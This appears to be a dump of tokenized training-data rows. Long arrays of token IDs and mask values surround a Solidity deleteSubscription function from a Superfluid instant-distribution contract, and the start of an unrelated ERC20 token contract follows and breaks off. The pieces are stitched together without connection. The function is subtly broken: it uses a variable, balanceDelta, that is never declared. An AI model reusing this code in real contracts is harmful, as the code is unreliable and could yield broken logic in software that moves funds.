0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
527,
48,
18988,
24237,
12,
11890,
5034,
1147,
6275,
16,
2254,
5034,
13750,
6275,
13,
3238,
288,
203,
3639,
389,
12908,
537,
12,
2867,
12,
2211,
3631,
1758,
12,
318,
291,
91,
438,
58,
22,
8259,
3631,
1147,
6275,
1769,
203,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
1147,
6275,
16,
203,
5411,
13667,
310,
16936,
21,
16,
203,
5411,
1203,
18,
5508,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/100/0xF4572223496ECFeEF8A11b059180de4906c75627/sources/project_/contracts/agreements/InstantDistributionAgreementV1.sol
|
@dev IInstantDistributionAgreementV1.deleteSubscription implementation update publisher index agreement data remove subscription from subscriber's bitmap move from publisher's deposit to static balance
|
function deleteSubscription(
ISuperfluidToken token,
address publisher,
uint32 indexId,
address subscriber,
bytes calldata ctx
)
external override
returns(bytes memory newCtx)
{
_SubscriptionOperationVars memory vars;
AgreementLibrary.CallbackInputs memory cbStates;
address sender;
bytes memory userData;
{
ISuperfluid.Context memory context = AgreementLibrary.authorizeTokenAccess(token, ctx);
sender = context.msgSender;
userData = context.userData;
}
require(subscriber != address(0), "IDA: E_NO_ZERO_SUBS");
(
vars.iId,
vars.sId,
vars.idata,
,
vars.sdata
) = _loadAllData(token, publisher, subscriber, indexId, true);
cbStates = AgreementLibrary.createCallbackInputs(
token,
subscriber,
vars.sId,
"");
newCtx = ctx;
cbStates.noopBit = SuperAppDefinitions.BEFORE_AGREEMENT_TERMINATED_NOOP;
vars.cbdata = AgreementLibrary.callAppBeforeCallback(cbStates, newCtx);
if (vars.sdata.subId != _UNALLOCATED_SUB_ID) {
vars.idata.totalUnitsApproved = vars.idata.totalUnitsApproved - vars.sdata.units;
vars.idata.totalUnitsPending = vars.idata.totalUnitsPending - vars.sdata.units;
}
token.updateAgreementData(vars.iId, _encodeIndexData(vars.idata));
if (vars.sdata.subId != _UNALLOCATED_SUB_ID) {
_clearSubsBitmap(token, subscriber, vars.sdata.subId);
}
if (vars.sdata.subId == _UNALLOCATED_SUB_ID) {
_adjustPublisherDeposit(token, publisher, -balanceDelta);
token.settleBalance(publisher, -balanceDelta);
}
cbStates.noopBit = SuperAppDefinitions.AFTER_AGREEMENT_TERMINATED_NOOP;
(, newCtx) = AgreementLibrary.callAppAfterCallback(cbStates, vars.cbdata, newCtx);
emit IndexUnsubscribed(token, publisher, indexId, subscriber, userData);
emit SubscriptionRevoked(token, subscriber, publisher, indexId, userData);
emit IndexUnitsUpdated(token, publisher, indexId, subscriber, 0, userData);
emit SubscriptionUnitsUpdated(token, subscriber, publisher, indexId, 0, userData);
}
| 14,280,668 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
5206,
467,
10675,
9003,
17420,
58,
21,
18,
3733,
6663,
4471,
1089,
12855,
770,
19602,
501,
1206,
4915,
628,
9467,
1807,
9389,
3635,
628,
12855,
1807,
443,
1724,
358,
760,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1430,
6663,
12,
203,
3639,
467,
8051,
2242,
1911,
1345,
1147,
16,
203,
3639,
1758,
12855,
16,
203,
3639,
2254,
1578,
770,
548,
16,
203,
3639,
1758,
9467,
16,
203,
3639,
1731,
745,
892,
1103,
203,
565,
262,
203,
3639,
3903,
3849,
203,
3639,
1135,
12,
3890,
3778,
394,
6442,
13,
203,
565,
288,
203,
3639,
389,
6663,
2988,
5555,
3778,
4153,
31,
203,
3639,
5495,
10606,
9313,
18,
2428,
10059,
3778,
2875,
7629,
31,
203,
3639,
1758,
5793,
31,
203,
3639,
1731,
3778,
13530,
31,
203,
3639,
288,
203,
5411,
467,
8051,
2242,
1911,
18,
1042,
3778,
819,
273,
5495,
10606,
9313,
18,
22488,
1345,
1862,
12,
2316,
16,
1103,
1769,
203,
5411,
5793,
273,
819,
18,
3576,
12021,
31,
203,
5411,
13530,
273,
819,
18,
1355,
751,
31,
203,
3639,
289,
203,
3639,
2583,
12,
26410,
480,
1758,
12,
20,
3631,
315,
734,
37,
30,
512,
67,
3417,
67,
24968,
67,
8362,
55,
8863,
203,
203,
203,
3639,
261,
203,
5411,
4153,
18,
77,
548,
16,
203,
5411,
4153,
18,
87,
548,
16,
203,
5411,
4153,
18,
350,
396,
16,
203,
5411,
269,
203,
5411,
4153,
18,
87,
892,
203,
3639,
262,
273,
389,
945,
1595,
751,
12,
2316,
16,
12855,
16,
9467,
16,
770,
548,
16,
638,
1769,
203,
203,
3639,
2875,
7629,
273,
5495,
10606,
9313,
18,
2640,
2428,
10059,
12,
203,
5411,
1147,
16,
203,
5411,
9467,
16,
203,
5411,
4153,
18,
87,
548,
16,
203,
5411,
1408,
1769,
203,
3639,
394,
6442,
273,
1103,
31,
203,
203,
3639,
2875,
7629,
18,
2135,
556,
5775,
273,
14845,
3371,
7130,
18,
19152,
67,
1781,
9719,
3212,
67,
29516,
6344,
67,
3417,
3665,
31,
203,
3639,
4153,
18,
7358,
892,
273,
5495,
10606,
9313,
18,
1991,
3371,
4649,
2428,
12,
7358,
7629,
16,
394,
6442,
1769,
203,
3639,
309,
261,
4699,
18,
87,
892,
18,
1717,
548,
480,
389,
2124,
1013,
1502,
13890,
67,
8362,
67,
734,
13,
288,
203,
5411,
4153,
18,
350,
396,
18,
4963,
7537,
31639,
273,
4153,
18,
350,
396,
18,
4963,
7537,
31639,
300,
4153,
18,
87,
892,
18,
7705,
31,
203,
5411,
4153,
18,
350,
396,
18,
4963,
7537,
8579,
273,
4153,
18,
350,
396,
18,
4963,
7537,
8579,
300,
4153,
18,
87,
892,
18,
7705,
31,
203,
3639,
289,
203,
3639,
1147,
18,
2725,
17420,
751,
12,
4699,
18,
77,
548,
16,
389,
3015,
1016,
751,
12,
4699,
18,
350,
396,
10019,
203,
203,
3639,
309,
261,
4699,
18,
87,
892,
18,
1717,
548,
480,
389,
2124,
1013,
1502,
13890,
67,
8362,
67,
734,
13,
288,
203,
5411,
389,
8507,
26123,
12224,
12,
2316,
16,
9467,
16,
4153,
18,
87,
892,
18,
1717,
548,
1769,
203,
3639,
289,
203,
203,
3639,
309,
261,
4699,
18,
87,
892,
18,
1717,
548,
422,
389,
2124,
1013,
1502,
13890,
67,
8362,
67,
734,
13,
288,
203,
5411,
389,
13362,
15960,
758,
1724,
12,
2316,
16,
12855,
16,
300,
12296,
9242,
1769,
203,
5411,
1147,
18,
542,
5929,
13937,
12,
26018,
16,
300,
12296,
9242,
1769,
203,
3639,
289,
203,
203,
203,
203,
3639,
2875,
7629,
18,
2135,
556,
5775,
273,
14845,
3371,
7130,
18,
18249,
67,
1781,
9719,
3212,
67,
29516,
6344,
67,
3417,
3665,
31,
203,
3639,
261,
16,
394,
6442,
13,
273,
5495,
10606,
9313,
18,
1991,
3371,
4436,
2428,
12,
7358,
7629,
16,
4153,
18,
7358,
892,
16,
394,
6442,
1769,
203,
203,
3639,
3626,
3340,
984,
27847,
12,
2316,
16,
12855,
16,
770,
548,
16,
9467,
16,
13530,
1769,
203,
3639,
3626,
12132,
10070,
14276,
12,
2316,
16,
9467,
16,
12855,
16,
770,
548,
16,
13530,
1769,
203,
3639,
3626,
3340,
7537,
7381,
12,
2316,
16,
12855,
16,
770,
548,
16,
9467,
16,
374,
16,
13530,
1769,
203,
3639,
3626,
12132,
7537,
7381,
12,
2316,
16,
9467,
16,
12855,
16,
770,
548,
16,
374,
16,
13530,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
